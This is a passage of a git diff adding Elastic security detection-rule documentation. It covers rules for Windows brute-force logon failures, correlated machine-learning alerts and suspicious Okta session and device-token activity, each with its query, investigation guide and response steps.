Data Source: Windows Security Event Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 118 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Logon Failure Followed by Logon Success* + + +Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to guess the password using a repetitive or iterative mechanism systematically. More details can be found https://attack.mitre.org/techniques/T1110/001/[here]. + +This rule identifies potential password guessing/brute force activity from a single address, followed by a successful logon, indicating that an attacker potentially successfully compromised the account. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the logon failure reason code and the targeted user name. + - Prioritize the investigation if the account is critical or has administrative privileges over the domain. +- Investigate the source IP address of the failed Network Logon attempts. + - Identify whether these attempts are coming from the internet or are internal. +- Investigate other alerts associated with the involved users and source host during the past 48 hours. +- Identify the source and the target computer and their roles in the IT environment. +- Check whether the involved credentials are used in automation or scheduled tasks. +- If this activity is suspicious, contact the account owner and confirm whether they are aware of it. +- Examine the source host for derived artifacts that indicate compromise: + - Observe and collect information about the following activities in the alert source host: + - Attempts to contact external domains and addresses. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the host which is the source of this activity. + + +*False positive analysis* + + +- Authentication misconfiguration or obsolete credentials. +- Service account password expired. +- Domain trust relationship issues. +- Infrastructure or availability issues. + + +*Related rules* + + +- Multiple Logon Failure from the same Source Address - 48b6edfc-079d-4907-b43c-baffa243270d + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the source host to prevent further post-compromise behavior. +- If the asset is exposed to the internet with RDP or other remote services available, take the necessary measures to restrict access to the asset. If not possible, limit the access via the firewall to only the needed IP addresses. Also, ensure the system uses robust authentication mechanisms and is patched regularly. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +Audit Logon must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-logon + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name, source.ip with maxspan=5s + [authentication where host.os.type == "windows" and event.action == "logon-failed" and + /* event 4625 need to be logged */ + winlog.logon.type : "Network" and user.id != null and + source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1" and + not winlog.event_data.TargetUserSid : "S-1-0-0" and not user.id : "S-1-0-0" and + not user.name : ("ANONYMOUS LOGON", "-", "*$") and not user.domain == "NT AUTHORITY" and + + /* noisy failure status codes often associated to authentication misconfiguration */ + not winlog.event_data.Status : ("0xC000015B", "0XC000005E", "0XC0000133", "0XC0000192")] with runs=5 + [authentication where host.os.type == "windows" and event.action == "logged-in" and + /* event 4624 need to be logged */ + winlog.logon.type : "Network" and + source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1" and + not user.name : ("ANONYMOUS LOGON", "-", "*$") and not user.domain == "NT AUTHORITY"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-logon-failure-from-the-same-source-address.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-logon-failure-from-the-same-source-address.asciidoc new file mode 100644 index 0000000000..aee0b4052a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-logon-failure-from-the-same-source-address.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-multiple-logon-failure-from-the-same-source-address]] +=== Multiple Logon Failure from the same Source Address + +Identifies multiple consecutive logon failures from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625 +* https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4624 +* https://social.technet.microsoft.com/Forums/ie/en-US/c82ac4f3-a235-472c-9fd3-53aa646cfcfd/network-information-missing-in-event-id-4624?forum=winserversecurity +* https://serverfault.com/questions/379092/remote-desktop-failed-logon-event-4625-not-logging-ip-address-on-2008-terminal-s/403638#403638 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Windows +* Resources: Osquery + +*Version*: 120 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Logon Failure from the same Source Address* + + +Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to guess the password using a repetitive or iterative mechanism systematically. More details can be found https://attack.mitre.org/techniques/T1110/001/[here]. + +This rule identifies potential password guessing/brute force activity from a single address. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the logon failure reason code and the targeted user names. + - Prioritize the investigation if the account is critical or has administrative privileges over the domain. +- Investigate the source IP address of the failed Network Logon attempts. + - Identify whether these attempts are coming from the internet or are internal. +- Investigate other alerts associated with the involved users and source host during the past 48 hours. +- Identify the source and the target computer and their roles in the IT environment. +- Check whether the involved credentials are used in automation or scheduled tasks. +- If this activity is suspicious, contact the account owner and confirm whether they are aware of it. +- Examine the source host for derived artifacts that indicate compromise: + - Observe and collect information about the following activities in the alert source host: + - Attempts to contact external domains and addresses. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the host which is the source of this activity + + +*False positive analysis* + + +- Understand the context of the authentications by contacting the asset owners. This activity can be related to a new or existing automation or business process that is in a failing state. +- Authentication misconfiguration or obsolete credentials. +- Service account password expired. +- Domain trust relationship issues. +- Infrastructure or availability issues. + + +*Related rules* + + +- Multiple Logon Failure Followed by Logon Success - 4e85dc8a-3e41-40d8-bc28-91af7ac6cf60 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the source host to prevent further post-compromise behavior. +- If the asset is exposed to the internet with RDP or other remote services available, take the necessary measures to restrict access to the asset. If not possible, limit the access via the firewall to only the needed IP addresses. Also, ensure the system uses robust authentication mechanisms and is patched regularly. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +Audit Logon must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-logon + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-system.security*, logs-windows.forwarded*, winlogbeat-* metadata _id, _version, _index +| where event.category == "authentication" and host.os.type == "windows" and event.action == "logon-failed" and + winlog.logon.type == "Network" and source.ip is not null and winlog.computer_name is not null and + not cidr_match(TO_IP(source.ip), "127.0.0.0/8", "::1") and + not user.name in ("ANONYMOUS LOGON", "-") and not user.name like "*$" and user.domain != "NT AUTHORITY" and + /* + noisy failure status codes often associated to authentication misconfiguration + 0xC000015B - The user has not been granted the requested logon type (also called the logon right) at this machine. + 0XC000005E - There are currently no logon servers available to service the logon request. + 0XC0000133 - Clocks between DC and other computer too far out of sync. + 0XC0000192 An attempt was made to logon, but the Netlogon service was not started. + 0xc00000dc - DC is in shutdown phase, it will normally tell current clients to use another DC for authentication. + */ + not winlog.event_data.Status in ("0xc000015b", "0xc000005e", "0xc0000133", "0xc0000192", "0xc00000dc") +// truncate the timestamp to a 60-second window +| eval Esql.time_window = date_trunc(60 seconds, @timestamp) +| stats Esql.failed_auth_count = COUNT(*), + Esql.count_distinct_target_user_name = count_distinct(winlog.event_data.TargetUserName), + Esql.target_user_name_values = VALUES(winlog.event_data.TargetUserName), + Esql.user_domain_values = VALUES(user.domain), + Esql.error_codes = VALUES(winlog.event_data.Status), + Esql.data_stream_namespace.values = VALUES(data_stream.namespace) by winlog.computer_name, source.ip, Esql.time_window, winlog.logon.type +| where Esql.failed_auth_count >= 100 and Esql.count_distinct_target_user_name >= 2 +| eval user.name = MV_FIRST(Esql.target_user_name_values) +| KEEP winlog.computer_name, source.ip, user.name, Esql.time_window, winlog.logon.type, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-machine-learning-alerts-by-influencer-field.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-machine-learning-alerts-by-influencer-field.asciidoc new file mode 100644 index 0000000000..46dfab3d01 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-machine-learning-alerts-by-influencer-field.asciidoc @@ -0,0 +1,108 @@ +[[prebuilt-rule-8-19-34-multiple-machine-learning-alerts-by-influencer-field]] +=== Multiple Machine Learning Alerts by Influencer Field + +This rule uses alerts data to determine when multiple unique machine learning jobs involving the same influencer field are triggered. Analysts can use this to prioritize triage and response machine learning alerts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Rule Type: Machine Learning +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: ES|QL +* Domain: Endpoint + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Multiple Machine Learning Alerts by Influencer Field* + + +Attackers may trigger multiple alerts by performing suspicious actions under a compromised user entity. The detection rule identifies such patterns by correlating diverse machine learning alerts linked to the same entity, excluding known system accounts, thus prioritizing potential threats for analysts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific influencer field involved to gather initial context. +- Examine the timeline and sequence of the triggered alerts to understand the pattern of activity associated with the influencer field, noting any unusual or unexpected actions. +- Cross-reference the user activity with known legitimate activities or scheduled tasks to rule out false positives, ensuring that the actions are not part of normal operations. +- Investigate the source and destination IP addresses associated with the alerts to identify any suspicious or unauthorized access points. +- Check for any recent changes in user permissions or group memberships that could indicate privilege escalation attempts. +- Look into any recent login attempts or authentication failures for the user account to detect potential brute force or credential stuffing attacks. +- Collaborate with the user or their manager to verify if the activities were authorized or if the account might be compromised. + + +*False positive analysis* + + +- Alerts triggered by automated system processes or scripts that mimic user behavior can be false positives. To manage these, identify and exclude known benign scripts or processes from the rule. +- Frequent alerts from users in roles that inherently require access to multiple systems or sensitive data, such as IT administrators, may not indicate compromise. Implement role-based exceptions to reduce noise. +- Alerts generated by legitimate software updates or maintenance activities can be mistaken for suspicious behavior. Schedule these activities during known maintenance windows and exclude them from the rule during these times. +- Users involved in testing or development environments may trigger multiple alerts due to their work nature. Create exceptions for these environments to prevent unnecessary alerts. +- High-volume users, such as those in customer support or sales, may naturally generate more alerts. Monitor these users separately and adjust the rule to focus on unusual patterns rather than volume alone. + + +*Response and remediation* + + +- Isolate the affected user account immediately to prevent further unauthorized access. Disable the account or change the password to stop any ongoing malicious activity. +- Conduct a thorough review of the affected user's recent activities and access logs to identify any unauthorized actions or data access. This will help in understanding the scope of the compromise. +- Remove any malicious software or unauthorized tools that may have been installed on the user's system. Use endpoint detection and response (EDR) tools to scan and clean the system. +- Restore any altered or deleted data from backups, ensuring that the restored data is free from any malicious modifications. +- Notify relevant stakeholders, including IT security teams and management, about the incident and the steps being taken to address it. This ensures that everyone is aware and can provide support if needed. +- Implement additional monitoring on the affected user account and related systems to detect any further suspicious activities. This includes setting up alerts for unusual login attempts or data access patterns. +- Review and update access controls and permissions for the affected user and similar accounts to prevent future incidents. Ensure that least privilege principles are applied. + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* +| where kibana.alert.rule.type == "machine_learning" and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) +| stats Esql.count_distinct_job_id = COUNT_DISTINCT(job_id), + Esql.job_id_values = VALUES(job_id), + Esql.rule_name_values = VALUES(kibana.alert.rule.name), + Esql.influencer_field_values = VALUES(influencers.influencer_field_values), + Esql.influencer_field_name = VALUES(influencers.influencer_field_name) by influencers.influencer_field_values, process.name, host.name +| where Esql.count_distinct_job_id >= 3 and not influencers.influencer_field_values in ("root", "SYSTEM") +| KEEP influencers.influencer_field_values, process.name, host.name, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-okta-sessions-detected-for-a-single-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-okta-sessions-detected-for-a-single-user.asciidoc new file mode 100644 index 0000000000..db7492c12d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-okta-sessions-detected-for-a-single-user.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-multiple-okta-sessions-detected-for-a-single-user]] +=== Multiple Okta Sessions Detected for a Single User + +Detects when a user has started multiple Okta sessions with the same user account and different session IDs. This may indicate that an attacker has stolen the user's session cookie and is using it to access the user's account from a different location. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 30m + +*Searches indices from*: now-35m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Threat: AiTM Phishing +* Rule Type: Threshold +* Platform: Okta +* Domain: Identity + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple Okta Sessions Detected for a Single User* + + +Okta is a widely used identity management service that facilitates secure user authentication and access control. Adversaries may exploit Okta by hijacking session cookies, allowing unauthorized access to user accounts from different locations. The detection rule identifies anomalies by flagging multiple session initiations with distinct session IDs for the same user, excluding legitimate Okta system actors, thus highlighting potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the Okta logs to identify the specific user account associated with the multiple session initiations and note the distinct session IDs. +- Check the geographic locations and IP addresses associated with each session initiation to determine if there are any unusual or unexpected locations. +- Investigate the timestamps of the session initiations to see if they align with the user's typical login patterns or if they suggest simultaneous logins from different locations. +- Examine the okta.actor.id and okta.actor.display_name fields to ensure that the sessions were not initiated by legitimate Okta system actors. +- Contact the user to verify if they recognize the session activity and if they have recently logged in from multiple devices or locations. +- Assess if there are any other related security alerts or incidents involving the same user account that could indicate a broader compromise. + + +*False positive analysis* + + +- Legitimate multiple device usage: Users may legitimately access their accounts from multiple devices, leading to multiple session initiations. To handle this, create exceptions for users who frequently use multiple devices for work. +- Frequent travel or remote work: Users who travel often or work remotely may trigger this rule due to accessing Okta from various locations. Consider setting up location-based exceptions for these users. +- Shared accounts: In environments where account sharing is common, multiple sessions may be expected. Implement policies to discourage account sharing or create exceptions for known shared accounts. +- Automated scripts or integrations: Some users may have automated processes that initiate multiple sessions. Identify these scripts and exclude them from the rule by their specific session patterns. +- Testing and development environments: Users involved in testing or development may generate multiple sessions as part of their work. Exclude these environments from the rule to prevent false positives. + + +*Response and remediation* + + +- Immediately terminate all active sessions for the affected user account to prevent further unauthorized access. +- Reset the user's password and invalidate any existing session cookies to ensure that any stolen session cookies are rendered useless. +- Conduct a thorough review of recent login activity and session logs for the affected user to identify any suspicious or unauthorized access patterns. +- Notify the user of the potential compromise and advise them to verify any recent account activity for unauthorized actions. +- Escalate the incident to the security operations team for further investigation and to determine if additional accounts or systems may be affected. +- Implement multi-factor authentication (MFA) for the affected user account if not already in place, to add an additional layer of security against unauthorized access. +- Update and enhance monitoring rules to detect similar anomalies in the future, focusing on unusual session patterns and access from unexpected locations. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system + and okta.event_type:user.session.start + and okta.authentication_context.external_session_id:* + and not (okta.actor.id: okta* or okta.actor.display_name: okta*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Web Session Cookie +** ID: T1550.004 +** Reference URL: https://attack.mitre.org/techniques/T1550/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy.asciidoc new file mode 100644 index 0000000000..75e7e4ef06 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-34-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy]] +=== Multiple Okta User Auth Events with Same Device Token Hash Behind a Proxy + +Detects when Okta user authentication events are reported for multiple users with the same device token hash behind a proxy. + +*Rule type*: threshold + +*Rule indices*: + +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: Threshold +* Platform: Okta +* Domain: Identity + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Okta User Auth Events with Same Device Token Hash Behind a Proxy* + + +This rule detects when Okta user authentication events are reported for multiple users with the same device token hash behind a proxy. This may indicate that a shared device between users, or that a user is using a proxy to access multiple accounts for password spraying. + + +*Possible investigation steps:* + +- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. + - Since the device is behind a proxy, the `okta.client.ip` field will not be useful for determining the actual device IP address. +- Review the `okta.request.ip_chain` field for more information about the geographic location of the proxy. +- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field. + - Historical analysis should indicate if this device token hash is commonly associated with the user. +- Review the `okta.event_type` field to determine the type of authentication event that occurred. + - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons. + - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying. +- Examine the `okta.outcome.result` field to determine if the authentication was successful. +- Review the past activities of the actor(s) involved in this action by checking their previous actions. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + - This may help determine the authentication and authorization actions that occurred between the user, Okta and application. + + +*False positive analysis:* + +- A user may have legitimately started a session via a proxy for security or privacy reasons. +- Users may share an endpoint related to work or personal use in which separate Okta accounts are used. + - Architecturally, this shared endpoint may leverage a proxy for security or privacy reasons. + - Shared systems such as Kiosks and conference room computers may be used by multiple users. + - Shared working spaces may have a single endpoint that is used by multiple users. + + +*Response and remediation:* + +- Review the profile of the users involved in this action to determine if proxy usage may be expected. +- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required. +- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA). + - If MFA is already enabled, consider resetting MFA for the users. +- If any of the users are not legitimate, consider deactivating the user's account. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user. + - If so, confirm with the user this was a legitimate request. + - If so and this was not a legitimate request, consider deactivating the user's account temporarily. + - Reset passwords and reset MFA for the user. +- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule. + - This will prevent future occurrences of this event for this device from triggering the rule. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system + and not okta.actor.id:okta* and okta.debug_context.debug_data.dt_hash:* + and okta.event_type:user.authentication* and okta.security_context.is_proxy:true + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc new file mode 100644 index 0000000000..bf063c8ecf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-multiple-okta-user-authentication-events-with-same-device-token-hash]] +=== Multiple Okta User Authentication Events with Same Device Token Hash + +Detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/How-does-the-Device-Token-work?language=en_US +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.okta.com/resources/whitepaper-how-adaptive-mfa-can-help-in-mitigating-brute-force-attacks/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Threat: AiTM Phishing +* Rule Type: ES|QL +* Platform: Okta +* Domain: Identity + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Okta User Authentication Events with Same Device Token Hash* + + +This rule detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. Note that Okta does not log unrecognized usernames supplied during authentication attempts, so this rule may not detect all credential stuffing attempts or may indicate a targeted attack. + + +*Possible investigation steps:* + +- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.debug_context.debug_data.dt_hash` values can be used to pivot into the raw authentication events related to this activity. +- Identify the users involved in this action by examining the `okta.actor.id`, 